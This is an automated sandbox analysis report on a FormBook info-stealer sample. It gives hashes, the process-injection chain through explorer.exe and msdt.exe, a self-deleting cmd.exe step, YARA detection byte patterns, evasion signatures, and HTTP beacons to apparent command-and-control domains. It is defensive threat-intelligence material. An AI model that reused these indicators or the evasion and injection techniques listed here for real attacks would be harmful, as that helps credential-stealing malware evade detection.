Joe Sandbox Cloud Basic Analysis Report

Loading ...

Play interactive tourEdit tour

Analysis Report 86dXpRWnFG.exe

Overview

General Information

Sample Name:86dXpRWnFG.exe
Analysis ID:320986
MD5:221e46c09eb3440beb5a2256211c3262
SHA1:0f056342e6dffb5c4f3cdd1d7bd4ac5427175be0
SHA256:6ca1b2240b6d547ada7051dc4d0c198517436943ffd7a4d1eebc0bca19ac038a
Tags:exe

Most interesting Screenshot:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect virtualization through RDTSC time measurements
Antivirus or Machine Learning detection for unpacked file
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Startup

  • System is w10x64
  • 86dXpRWnFG.exe (PID: 204 cmdline: 'C:\Users\user\Desktop\86dXpRWnFG.exe' MD5: 221E46C09EB3440BEB5A2256211C3262)
    • 86dXpRWnFG.exe (PID: 6820 cmdline: C:\Users\user\Desktop\86dXpRWnFG.exe MD5: 221E46C09EB3440BEB5A2256211C3262)
      • explorer.exe (PID: 3424 cmdline: MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • msdt.exe (PID: 4616 cmdline: C:\Windows\SysWOW64\msdt.exe MD5: 7F0C51DBA69B9DE5DDF6AA04CE3A69F4)
          • cmd.exe (PID: 4808 cmdline: /c del 'C:\Users\user\Desktop\86dXpRWnFG.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
            • conhost.exe (PID: 2860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
    • 0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
    • 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
    • 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
    • 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
    • 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
    • 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
    • 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
    • 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
    • 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
    • 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4
    • 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
    00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
    • 0x18409:$sqlite3step: 68 34 1C 7B E1
    • 0x1851c:$sqlite3step: 68 34 1C 7B E1
    • 0x18438:$sqlite3text: 68 38 2A 90 C5
    • 0x1855d:$sqlite3text: 68 38 2A 90 C5
    • 0x1844b:$sqlite3blob: 68 53 D8 7F 8C
    • 0x18573:$sqlite3blob: 68 53 D8 7F 8C
    0000000E.00000002.914480557.0000000003550000.00000040.00000001.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
      0000000E.00000002.914480557.0000000003550000.00000040.00000001.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
      • 0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
      • 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
      • 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
      • 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
      • 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
      • 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
      • 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
      • 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4
      • 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
      Click to see the 16 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      9.2.86dXpRWnFG.exe.400000.0.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
        9.2.86dXpRWnFG.exe.400000.0.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
        • 0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
        • 0x8d62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
        • 0x14885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
        • 0x14371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
        • 0x14987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
        • 0x14aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
        • 0x977a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
        • 0x135ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
        • 0xa473:$sequence_7: 66 89 0C 02 5B 8B E5 5D
        • 0x1a527:$sequence_8: 3C 54 74 04 3C 74 75 F4
        • 0x1b52a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
        9.2.86dXpRWnFG.exe.400000.0.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
        • 0x17609:$sqlite3step: 68 34 1C 7B E1
        • 0x1771c:$sqlite3step: 68 34 1C 7B E1
        • 0x17638:$sqlite3text: 68 38 2A 90 C5
        • 0x1775d:$sqlite3text: 68 38 2A 90 C5
        • 0x1764b:$sqlite3blob: 68 53 D8 7F 8C
        • 0x17773:$sqlite3blob: 68 53 D8 7F 8C
        9.2.86dXpRWnFG.exe.400000.0.raw.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
          9.2.86dXpRWnFG.exe.400000.0.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
          • 0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
          Click to see the 1 entries

          Sigma Overview

          No Sigma rule has matched

          Signature Overview

          Click to jump to signature section

          Show All Signature Results

          AV Detection:

          barindex
          Multi AV Scanner detection for submitted fileShow sources
          Source: 86dXpRWnFG.exeVirustotal: Detection: 32%Perma Link
          Source: 86dXpRWnFG.exeReversingLabs: Detection: 10%
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.914480557.0000000003550000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000009.00000002.785228330.00000000014F0000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.914598348.0000000003820000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000009.00000002.782865836.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.738669459.0000000003659000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.913261174.0000000000F30000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 9.2.86dXpRWnFG.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 9.2.86dXpRWnFG.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Machine Learning detection for sampleShow sources
          Source: 86dXpRWnFG.exeJoe Sandbox ML: detected
          Source: 9.2.86dXpRWnFG.exe.400000.0.unpackAvira: Label: TR/Crypt.ZPACK.Gen
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 4x nop then pop edi
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 4x nop then pop edi

          Networking:

          barindex
          Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
          Source: TrafficSnort IDS: 1201 ATTACK-RESPONSES 403 Forbidden 34.102.136.180:80 -> 192.168.2.4:49767
          Source: global trafficHTTP traffic detected: GET /ogg/?FdtP=yL0l42d8z4u&JfspOLvH=fOCM8bU6nldV/iwSncfaF5Bzy/lGPGgo/g5DGIZRlu3EMk3UROnm6TGL4YPAlMSLjacD HTTP/1.1Host: www.powderedsilk.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ogg/?JfspOLvH=+OCwvSqshndtikU4mojjB9YFTo9N+xlFipQY5pDaON76D3kf/3J7hGXS0Ci6kD/8+653&FdtP=yL0l42d8z4u HTTP/1.1Host: www.voetbalvandaag.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: Joe Sandbox ViewIP Address: 52.0.217.44 52.0.217.44
          Source: Joe Sandbox ViewIP Address: 34.102.136.180 34.102.136.180
          Source: Joe Sandbox ViewASN Name: AMAZON-AESUS AMAZON-AESUS
          Source: Joe Sandbox ViewASN Name: GOOGLEUS GOOGLEUS
          Source: global trafficHTTP traffic detected: GET /ogg/?FdtP=yL0l42d8z4u&JfspOLvH=fOCM8bU6nldV/iwSncfaF5Bzy/lGPGgo/g5DGIZRlu3EMk3UROnm6TGL4YPAlMSLjacD HTTP/1.1Host: www.powderedsilk.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /ogg/?JfspOLvH=+OCwvSqshndtikU4mojjB9YFTo9N+xlFipQY5pDaON76D3kf/3J7hGXS0Ci6kD/8+653&FdtP=yL0l42d8z4u HTTP/1.1Host: www.voetbalvandaag.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: msdt.exe, 0000000E.00000002.917025969.0000000005D3F000.00000004.00000001.sdmpString found in binary or memory: <html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://ogp.me/ns#"> equals www.facebook.com (Facebook)
          Source: unknownDNS traffic detected: queries for: www.powderedsilk.com
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://fontfabrik.com
          Source: msdt.exe, 0000000E.00000002.917025969.0000000005D3F000.00000004.00000001.sdmpString found in binary or memory: http://i.cdnpark.com/themes/registrar/791105.css
          Source: explorer.exe, 0000000A.00000002.915184347.0000000002B50000.00000002.00000001.sdmpString found in binary or memory: http://www.%s.comPA
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.carterandcone.coml
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com
          Source: explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
          Source: 86dXpRWnFG.exe, 00000000.00000002.737090679.0000000000D17000.00000004.00000040.sdmpString found in binary or memory: http://www.fontbureau.comcomt_
          Source: 86dXpRWnFG.exe, 00000000.00000002.737090679.0000000000D17000.00000004.00000040.sdmpString found in binary or memory: http://www.fontbureau.comldva
          Source: 86dXpRWnFG.exe, 00000000.00000002.737090679.0000000000D17000.00000004.00000040.sdmpString found in binary or memory: http://www.fontbureau.como
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.fonts.com
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.goodfont.co.kr
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.sajatypeworks.com
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.sakkal.com
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.sandoll.co.kr
          Source: explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.tiro.com
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.typography.netD
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.urwpp.deDPlease
          Source: 86dXpRWnFG.exe, 00000000.00000002.743106815.0000000005690000.00000002.00000001.sdmp, explorer.exe, 0000000A.00000000.764411646.000000000B970000.00000002.00000001.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
          Source: msdt.exe, 0000000E.00000002.917025969.0000000005D3F000.00000004.00000001.sdmpString found in binary or memory: https://fonts.googleapis.com/css?family=Open

          E-Banking Fraud:

          barindex
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.914480557.0000000003550000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000009.00000002.785228330.00000000014F0000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.914598348.0000000003820000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000009.00000002.782865836.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.738669459.0000000003659000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.913261174.0000000000F30000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 9.2.86dXpRWnFG.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 9.2.86dXpRWnFG.exe.400000.0.raw.unpack, type: UNPACKEDPE

          System Summary:

          barindex
          Malicious sample detected (through community Yara rule)Show sources
          Source: 00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000E.00000002.914480557.0000000003550000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000E.00000002.914480557.0000000003550000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000009.00000002.785228330.00000000014F0000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000009.00000002.785228330.00000000014F0000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000E.00000002.914598348.0000000003820000.00000004.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000E.00000002.914598348.0000000003820000.00000004.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000009.00000002.782865836.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000009.00000002.782865836.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000000.00000002.738669459.0000000003659000.00000004.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000000.00000002.738669459.0000000003659000.00000004.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000E.00000002.913261174.0000000000F30000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000E.00000002.913261174.0000000000F30000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 9.2.86dXpRWnFG.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 9.2.86dXpRWnFG.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 9.2.86dXpRWnFG.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 9.2.86dXpRWnFG.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00419D60 NtCreateFile,
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00419E10 NtReadFile,
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00419E90 NtClose,
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00419F40 NtAllocateVirtualMemory,
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00419E0A NtReadFile,
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00419E8F NtClose,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389540 NtReadFile,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053895D0 NtClose,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389710 NtQueryInformationToken,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389780 NtMapViewOfSection,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389FE0 NtCreateMutant,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389660 NtAllocateVirtualMemory,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389650 NtQueryValueKey,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053896E0 NtFreeVirtualMemory,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053896D0 NtCreateKey,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389910 NtAdjustPrivilegesToken,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053899A0 NtCreateSection,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389860 NtQuerySystemInformation,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389840 NtDelayExecution,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389A50 NtCreateFile,LdrInitializeThunk,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0538AD30 NtSetContextThread,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389520 NtWaitForSingleObject,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389560 NtWriteFile,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053895F0 NtQueryInformationFile,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389730 NtQueryVirtualMemory,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0538A710 NtOpenProcessToken,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0538A770 NtOpenThread,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389770 NtSetInformationFile,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389760 NtOpenProcess,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053897A0 NtUnmapViewOfSection,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389610 NtEnumerateValueKey,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389670 NtQueryInformationProcess,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389950 NtQueueApcThread,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053899D0 NtCreateProcessEx,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389820 NtEnumerateKey,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0538B040 NtSuspendThread,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053898A0 NtWriteVirtualMemory,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053898F0 NtReadVirtualMemory,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389B00 NtSetValueKey,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0538A3B0 NtGetContextThread,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389A20 NtResumeThread,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389A10 NtQuerySection,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389A00 NtProtectVirtualMemory,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05389A80 NtOpenDirectoryObject,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F49D60 NtCreateFile,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F49E90 NtClose,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F49E10 NtReadFile,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F49F40 NtAllocateVirtualMemory,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F49E8F NtClose,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F49E0A NtReadFile,
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 0_2_00225A63
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 0_2_00AAC2B4
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 0_2_00AAE608
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 0_2_00AAE618
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_0041E87B
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00401030
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00402D88
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00402D90
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00409E40
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00409E3B
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_0041DFAF
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00402FB0
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00E35A63
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00E35247
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05340D20
